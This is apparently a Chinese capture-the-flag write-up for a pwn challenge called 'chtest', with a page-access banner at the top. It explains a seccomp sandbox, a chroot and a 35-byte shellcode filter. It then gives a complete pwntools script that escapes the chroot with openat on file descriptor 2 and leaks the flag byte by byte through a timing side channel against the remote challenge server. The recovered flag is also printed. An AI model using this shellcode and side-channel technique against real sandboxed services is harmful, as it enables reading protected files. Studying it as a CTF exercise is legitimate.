Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

理解程序:

文件给了个libc,ld,sh文件和elf

checksec:

保护全开 IDA64打开:

以及run.sh文件

要用runsh来运行chtest

查看chtest里的函数:

securefd:

关闭了标准错误输出并且打开了根目录,由于文件描述符会自动分配最小的,此时该根目录在标准错误输出的fd位置上。

然后在fd位2的位置打开了flag,之后关闭了3到1000的fd

也就是说读取fd为2的位置能读取到flag

有一个chroot,把根目录放在了随机的目录里

之后就是shellcode,但是限制了字节数小于35,也禁用了一些汇编指令,比如cmp(具体的需要写出汇编再判断),以及顺带禁用了8和9两个字符

这题也开启了沙箱:

只允许这些系统调用,所以思路是利用openat打开位于文件描述符为2的flag,再利用xor和jz爆破,openat给的参数能绕过chroot的随机目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./chtest')
def pwn(offset, num):
shellcode = asm(f'''
push 2
pop rdi
mov dword ptr [rsi], 0x67616c66
xor r10, r10
pop rdx
pop rdx
mov ax, 0x101
push rax
syscall

mov edi, eax
xor eax, eax
pop rdx
syscall

mov al, [rsi + {offset}]
xor al, {num}
jz $
''')
p.send(shellcode)

flag = 'LILCTF{' #ae0e# ae0eaee-277a5-42#
#LILCTF{ae0e9aee-27a5-428c-af1e-bd7d510055d3}
idx = len(flag)
ch = "-}{qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM"
while True:
for x in ch:
#p = process('./chtest')
p = remote("gz.imxbt.cn",20801)
p.recvuntil(b"Now it's your show time\n")
print(' flag -------------------------------------> '+flag+x)
start = time.time()
pwn(idx, ord(x))
p.can_recv(timeout=4)
end = time.time()
p.close()
print(end-start)
if end - start > 4:
flag += x
break
if flag.endswith("}"):
break
idx += 1
print(flag)
p.interactive()

由于不能爆破8和9两个数字,所以看到打印出大写字符的时候就可以终止程序填上个占位符爆破下一个了 后续靠猜🫡

评论